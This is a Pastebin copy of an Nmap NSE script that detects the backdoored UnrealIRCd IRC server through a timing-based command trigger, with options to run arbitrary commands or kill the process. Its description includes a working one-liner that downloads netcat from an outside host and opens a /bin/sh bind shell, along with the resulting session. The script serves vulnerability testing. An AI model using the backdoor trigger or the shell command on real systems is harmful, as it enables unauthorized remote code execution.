Advertisement
Guest User

Untitled

a guest
Dec 16th, 2018
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.50 KB | None | 0 0
  1. local comm = require "comm"
  2. local nmap = require "nmap"
  3. local os = require "os"
  4. local irc = require "irc"
  5. local stdnse = require "stdnse"
  6. local string = require "string"
  7.  
  8. description = [[
  9. Checks if an IRC server is backdoored by running a time-based command (ping)
  10. and checking how long it takes to respond.
  11.  
  12. The <code>irc-unrealircd-backdoor.command</code> script argument can be used to
  13. run an arbitrary command on the remote system. Because of the nature of
  14. this vulnerability (the output is never returned) we have no way of
  15. getting the output of the command. It can, however, be used to start a
  16. netcat listener as demonstrated here:
  17. <code>
  18. $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
  19. $ ncat -vv localhost 4444
  20. Ncat: Version 5.30BETA1 ( https://nmap.org/ncat )
  21. Ncat: Connected to 127.0.0.1:4444.
  22. pwd
  23. /home/ron/downloads/Unreal3.2-bad
  24. whoami
  25. ron
  26. </code>
  27.  
  28. Metasploit can also be used to exploit this vulnerability.
  29.  
  30. In addition to running arbitrary commands, the
  31. <code>irc-unrealircd-backdoor.kill</code> script argument can be passed, which
  32. simply kills the UnrealIRCd process.
  33.  
  34.  
  35. Reference:
  36. * http://seclists.org/fulldisclosure/2010/Jun/277
  37. * http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
  38. * http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
  39. ]]
  40.  
  41. ---
  42. -- @args irc-unrealircd-backdoor.command An arbitrary command to run on the
  43. -- remote system (note, however, that you won't see the output of your
  44. -- command). This will always be attempted, even if the host isn't
  45. -- vulnerable. The pattern <code>%IP%</code> will be replaced with the
  46. -- ip address of the target host.
  47. -- @args irc-unrealircd-backdoor.kill If set to <code>1</code> or
  48. -- <code>true</code>, kill the backdoored UnrealIRCd running.
  49. -- @args irc-unrealircd-backdoor.wait Wait time in seconds before executing the
  50. -- check. This is recommended to set for more reliable check (100 is good
  51. -- value).
  52. --
  53. -- @output
  54. -- PORT STATE SERVICE
  55. -- 6667/tcp open irc
  56. -- |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
  57. --
  58.  
  59. author = {"Vlatko Kosturjak", "Ron Bowes"}
  60. license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
  61. categories = {"exploit", "intrusive", "malware", "vuln"}
  62.  
  63.  
  64. portrule = irc.portrule
  65.  
  66.  
  67. action = function(host, port)
  68. local socket = nmap.new_socket()
  69. local code, message
  70. local status, err
  71. local data
  72. -- Wait up to this long for the server to send its startup messages and
  73. -- a response to our noop_command. After this, send the full_command.
  74. -- Usually we don't have to wait the full time because we can detect
  75. -- the response to noop_command.
  76. local banner_timeout = 60
  77. -- Send a command to sleep this long. This just has to be long enough
  78. -- to remove confusion from network delay.
  79. local delay = 8
  80.  
  81. -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
  82. -- I defined the fudge as 1 second, for now, just because of rounding issues. In practice,
  83. -- the actual delay should never be shorter than the given delay, only longer.
  84. local delay_fudge = 1
  85.  
  86. -- We send this command on connection because comm.tryssl needs to send
  87. -- something; it also allows us to detect the end of server
  88. -- initialization.
  89. local noop_command = "TIME"
  90.  
  91. -- The 'AB' sequence triggers the backdoor to run a command.
  92. local trigger = "AB"
  93.  
  94. -- We define a highly unique variable as a type of 'ping' -- it lets us see when our
  95. -- command returns. Typically, asynchronous data will be received after the initial
  96. -- connection -- this lets us ignore that extra data.
  97. local unique = "SOMETHINGUNIQUE"
  98.  
  99. -- On Linux, do a simple sleep command.
  100. local command_linux = "sleep " .. delay
  101.  
  102. -- Set up an extra command, if the user requested one
  103. local command_extra = ""
  104. if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
  105. command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
  106. -- Replace "%IP%" with the ip address
  107. command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
  108. end
  109.  
  110. -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
  111. -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
  112. -- to add 1 to the delay because the first ping happens instantly.
  113. --
  114. -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
  115. -- not vulnerable. However, it's possible that some odd person may have compiled it
  116. -- from the vulnerable sourcecode, so we check for it anyways.
  117. local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
  118.  
  119. -- Put together the full command
  120. local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
  121.  
  122. -- wait time: get rid of fast reconnecting annoyance
  123. if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
  124. local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
  125. stdnse.debug1("waiting for %i seconds", waittime)
  126. stdnse.sleep(waittime)
  127. end
  128.  
  129. -- Send an innocuous command as fodder for tryssl.
  130. stdnse.debug1("Sending command: %s", noop_command);
  131. local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
  132.  
  133. -- Make sure the socket worked
  134. if(not(socket) or not(response)) then
  135. stdnse.debug1("Couldn't connect to remote host")
  136. return nil
  137. end
  138.  
  139. socket:set_timeout(banner_timeout * 1000)
  140.  
  141. -- Look for the end of initial server messages. This allows reverse DNS
  142. -- resolution and ident lookups to time out and not interfere with our
  143. -- timing measurement.
  144. status = true
  145. data = response
  146. while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
  147. status, response = socket:receive_bytes(0)
  148. if status then
  149. data = data .. response
  150. end
  151. end
  152.  
  153. if not status then
  154. stdnse.debug1("Receive failed after %s: %s", noop_command, response)
  155. return nil
  156. end
  157.  
  158. -- Send the backdoor command.
  159. stdnse.debug1("Sending command: %s", full_command);
  160. status, err = socket:send(full_command .. "\n")
  161. if not status then
  162. stdnse.debug1("Send failed: %s", err)
  163. return nil
  164. end
  165.  
  166. -- Get the current time so we can measure the delay
  167. local time = os.time(os.date('*t'))
  168. socket:set_timeout((delay + 5) * 1000)
  169.  
  170. -- Accumulate the response in the 'data' string
  171. status = true
  172. data = ""
  173. while not string.find(data, unique) do
  174. status, response = socket:receive_bytes(0)
  175. if status then
  176. data = data .. response
  177. else
  178. -- If the server unexpectedly closes the connection, it
  179. -- is usually related to throttling. Therefore, we
  180. -- print a throttling warning.
  181. stdnse.debug1("Receive failed: %s", response)
  182. socket:close()
  183. return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
  184. end
  185. end
  186.  
  187. -- Determine the elapsed time
  188. local elapsed = os.time(os.date('*t')) - time
  189.  
  190. -- Let the user know that everything's working
  191. stdnse.debug1("Received a response to our command in " .. elapsed .. " seconds")
  192.  
  193. -- Determine whether or not the vulnerability is present
  194. if(elapsed > (delay - delay_fudge)) then
  195. -- Check if the user wants to kill the server.
  196. if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
  197. stdnse.debug1("Attempting to kill the Trojanned UnrealIRCd server...")
  198.  
  199. local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
  200. local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
  201. local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
  202.  
  203. -- Kill the process
  204. stdnse.debug1("Running kill command: %s", kill_command)
  205. socket:send(kill_command .. "\n")
  206. end
  207.  
  208. stdnse.debug1("Looks like the Trojanned unrealircd is running!")
  209.  
  210. -- Close the socket
  211. socket:close()
  212.  
  213. return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
  214. end
  215.  
  216. -- Close the socket
  217. socket:close()
  218.  
  219. stdnse.debug1("The Trojanned version of unrealircd probably isn't running.")
  220.  
  221. return nil
  222. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement